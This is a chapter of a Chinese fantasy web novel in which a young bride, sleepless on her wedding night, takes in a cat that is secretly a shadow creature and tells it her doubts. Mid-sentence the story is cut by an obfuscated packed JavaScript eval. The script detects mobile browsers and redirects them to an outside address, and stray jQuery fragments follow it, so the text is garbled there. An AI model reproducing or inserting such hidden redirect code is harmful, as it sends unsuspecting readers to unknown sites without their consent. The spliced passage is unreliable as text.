灯火尽数熄灭,崔令容躺在床榻上,腰间疼痛,身体疲倦。
可闭上双眼,仍然无法睡着。
她睁眼盯着顶层床帐,层层叠叠,落在眼里只是漆黑一片,脑中不自觉回想今日之事。
郎君结束昏礼,她回到了寝内歇息。
在此之前,是尉迟云娜与尉迟诏一路相送,与她说了许多在尉迟公廨内生活的规矩。
简而言之,便是没有规矩。
无须晨昏定省,尉迟骁的母亲宇文姝向来身子不好,需得静养,便不好打扰。尉迟宗主尉迟嶂,身为尉迟骁祖父的同时也是北周八柱国之一,平日里事物繁忙,也无意理会小辈。
尉迟骁去往相州,没有两个月回不来。
崔令容获得了除重要节日外,无须强制与任何人打交道的悠闲生活。
一切都是她想要的。
此刻的她,身子不断发出需要休息的呻吟,眼皮也不停打架,可颈上长着的东西运转飞快,格外清醒。
为何无法入眠?
她接连翻身几下,侧身觉着肢体僵硬,正躺又感到关节舒展不开,背部难受,仿佛要用肩胛骨夹着些什么,才好去了那些不适。
辗转反侧许久,双手撑上床榻,她坐了起来。
崔令容上身立起,视线所到之处黑漆漆一片,摸索着踩上踏脚,手试探伸向记忆中案几位置,果然摸到了烛台。
举起烛台,另一只手短暂触碰床榻周边的屏风,她确定好方位,便往房间南边角落走去。
她走得很缓慢,怕碰到些什么东西。
南角落专门设了个砖石矮台,上放置着火笼。足尖踢上硬物,她就知这是到了,于是轻手轻脚地蹲下身,在旁边摸到火箸拨开里头的灰烬,露出红彤彤一点光,散发暖意。
那是依旧红热的炭火。
她拿起浸染硫磺的薄木片,被称为火寸条的易燃物在靠近炭火时,“嗤”的点燃了。
她急忙将燃烧的火寸条移到烛台之上。
烛台火苗窜起,蜡液融化为小琥珀,火焰照亮眼前的小片区域,左边放置着一盛清水的铜盆,水底沉着几张同样的木片。
崔令容立即丢掉手上燃烧的火寸条,火焰遇水则灭。
担心打翻烛台,她把烛台放在地上,距离她一臂之遥,重新拿起火箸掩埋炭火,动作轻轻的,没发出一点声响,只因寒酥就住在与内寝相连的侧室内。
崔令容并不想吵醒其他人。
做完这些,她才重新举起烛台,准备回到床榻。
然而在崔令容转身之时,余光不经意撇过上方的窗棂,一道模糊的身影投射在窗纸上。
她眨了眨眼,阴影模糊,却是真实存在,于是将手中烛台放低,少了些光线照射,能够看出黑影轮廓像只猫。
“……小昭?”
尉迟公廨里,她只认识这么一只猫。
“喵——”
声音也像,正是奶猫才能发出的声音。
崔令容心中困惑,半夜三更,怎地跑她院里来了?
转念一想,如今天气寒冷,即便猫毛浓密自带保暖,在外头也讨不了什么好,还是进来较为安全。
“是想进来吗?乖,你等等我,我把烛台放到案上,就来给你开门。”她边说边走向床榻,弯腰放下烛台,固定在了案几上。
“刺啦。”
刚放稳,窗纸被挠破的声音就从身后传来。
崔令容回过头,就见它已半爪插了进来,窗纸破破烂烂,透出外界些许光,而猫还在继续往里挤。
她快步上前:“莫要着急,我这就给你……”开门。
话音未落,黑影突破窗户限制,站在了窗棂窄小的窗台板上,恰好供它有个落脚点。
只是崔令容眼睁睁看着它踏上窗台板时,四肢不协调地互相绊了一下,半身飞出窗台,重心不稳,整个身体掉下了窗,四肢摊开,扁扁的拍在地面上。
“啪叽。”
崔令容说不出话了,这可是结结实实从高处摔了下来,连忙跑到它身边坐下,手伸出做了要抱起的姿势,却在即将碰到时停了下来。
她并不知道这猫儿伤得如何了,贸然挪动,也许对它不好。
接着再看,她发现了不对,猫浑身毛发雪白,点缀着水墨黑纹,打理得相当干净,这只猫并不是小昭。
而此时被误认为是小昭的它,只觉得心中滋味难以形容。
才捏的身体用起来并不顺畅,一路上已经尽可能练习适应,在跳上窗台前,它有了些许信心。不料,窗台板上竟放了个针线盒,为了躲避小盒它腾挪了注意力,结果便短暂丧失了肢体掌控。
“还能动吗?伤到哪里了?”
在崔令容小声的连番追问下,它的脸依旧死死趴地板上,头一点也不抬。
她见猫的尾巴摇动,便知没有大碍,而那死活不动弹的姿态,似乎透露着些许信息。
尽管崔令容怀疑自己想法是否真实,是否太过异想天开,她还是试探道:“能否再往里走些?我想与你说说话,毕竟,这里除了你,我无人能倾诉,只能说给你这些小动物听了。”
说罢,她站起来,径直往床榻走,途中停了几次脚步,偷摸着往后瞟了眼。
那猫开始慢慢把头抬起,东倒西歪地尝试迈步,警惕地时不时往她那儿瞧,确认安全后,没走几步就恢复了正常水平。
崔令容垂眼,她猜得没错,幼猫因此事感到尴尬,这才装死不应她。
她在案后盘腿坐下,扯锦被一角下来,盖住胸口以下半身。
“来,过来。”她轻轻拍手,呼唤道。
站起来的猫走到了她面前,犹疑不动,崔令容也不催促,耐心道:“你是谁养的猫儿?”
她第一时间想到了尉迟诏,养了第一只就可能有第二只,也只有人养的猫,才会如此干净整洁。
“嗷!”它叫了一声,声音里饱含不满。
崔令容听不懂猫说话,通过语气猜测,问道:“难道你是说,你没有主人?”
猫棕黄色的眼睛看着崔令容,就这样静静四目相对了一会儿。
它一甩尾巴,跳上桌案,在案上走了两圈,对烛台旁边的位置很满意,停下来团成个球躺那儿了,看她一眼合上了眼。
猜对了?
崔令容拿不准它的意思,又觉得再聪明,也在动物范围内,是她将希望寄托于猫身,于是摸了摸它毛绒绒的脑袋,自嘲道:“我真是想太过,期待你同人一般,听懂我的话。”
“可若真能听懂,想必我也无法放松与你交谈了。”
她沉默了一会儿。
所谓向它倾诉的话语,是突然想到的,安慰要面子猫的说辞,可此时,她却真有了趁此机会一吐为快的念头。
“……我。”
斟酌许久,她还是开口了:“未能入眠,本想点灯取了书来看,没曾想遇见了你。”
“你知道我为何无法入眠吗?其实我也不知道,只是有个想法自回到寝院起,就一直在脑海里打转。”
她顿了顿,低声道:“我不知自己选择的对错。”
猫头搭在前爪上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519844|186276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,半睁只眼睛看她,微微发光,光芒微弱,在烛火的映衬下消散无形。
“如今的处境是我选的,也是我想要的生活,甚至这里比原先想的还要符合曾经的想法,即便为了自己,也应享受得到的一切。”
“可我心里十分郁闷,找不出来由又无人诉说。”崔令容扯了扯嘴角,笑容苦涩:“寒酥作为侍女无法理解我,指不定觉得我无病呻吟,而比起并州流民们,我的处境实在好上太多。就连我也无法理解自己,得到了想要的,却无法发自内心珍惜。”
“究竟喜欢什么,想要什么,我对自己一概不知,我真的喜欢这样的生活吗?事到如今,居然起了怀疑。”
崔筠喜爱诗词,张疏桐喜欢美却短暂的事物,她喜欢什么呢?
她揉乱猫头,叹气,随即挂上温和的笑脸。
“罢了,也许我只是贪心,想要变得比如今更好吧。”
崔令容低头凑近到猫的面前,学着它趴在案上,猫被突如其来的动作吓了一跳,双眼蓦然瞪大,瞳孔骤然收细,面上还是副懒洋洋的模样。
她拨弄猫咪的胡须,猫不适的动了动身体:“你有名字吗?要不要和我一起生活?”
“喵。”
“叫虎子怎么样?你看起来更像一只白色的小老虎。”
无论毛色还是其上的纹路,都格外与虎纹相似,小昭幼小可爱,眼大而滚圆,与主人如出一辙,它的长相却不同,眼尾上扬更显凶像,身形虽小,可足够矫健。
“喵!”
崔令容伸出两只手,手心摊开:“听不懂你的意思,同意就拍一下我的左手,不同意就拍右手。”
猫的视线在左右两手间来回转动,它抬起上身,眼神中居然流露出对幼稚沟通的蔑视。
崔令容只以为自己看错了。
尾巴尖勾了一下,它挪上前,把脑袋搭在左手心,还翻滚着蹭了蹭,这是它的回答。
她没预料到偶然遇见的猫如此亲人。
“虎子?”感受手中温热柔软的触感,真切意识到一个爱撒娇的生命就交到了手上,崔令容笑了,唇角微微翘起。
不是以往的微笑,而是一个略显俏皮的弧度。
“喵——”
“我现在还不想睡,我们再聊聊吧?”
“咪!”
“就说我以前生活的山庄,附近有不少村子,年幼时尝试过偷溜出门,结果被嬷嬷逮住……”
一人一猫,一唱一和,崔令容每说几句,虎子便回应一声,已然忘了时间。
天将破晓,远方浮白,她说话的声音愈来愈小,语速逐渐缓慢。最终,困倦地靠着床榻,趴倒在案几上沉睡了。
虎子不再出声。
光从窗外照射进来,笼罩在崔令容身子上的阴影最初还是猫形,随着时间推移逐渐涨大,直至不规则边缘的黑影将她完全笼罩。
阴影伸出了一条触手,拉下半张还落在榻上勉强包裹着她的锦被,轻轻盖在她身上,然后拽着被角,塞进手臂与脸部相接的缝隙处。
触手在崔令容的脸侧停留。
它不明白崔令容为何有如此多的思考,也不认同所有事在她这里,总是以一句“罢了”结束。
可伤害她的是什么?仅有的神志与知识不足以支撑它理解复杂的人类。
触手轻轻在她脸上贴了贴,崔令容感受凉意,蹙眉。
它猛地撤回了触手,空中挥舞几下,停滞片刻后,犹豫着收入了躯体,阴影逐渐又缩回了幼猫大小。
幼猫倚着她的手肘,也闭上了双眼。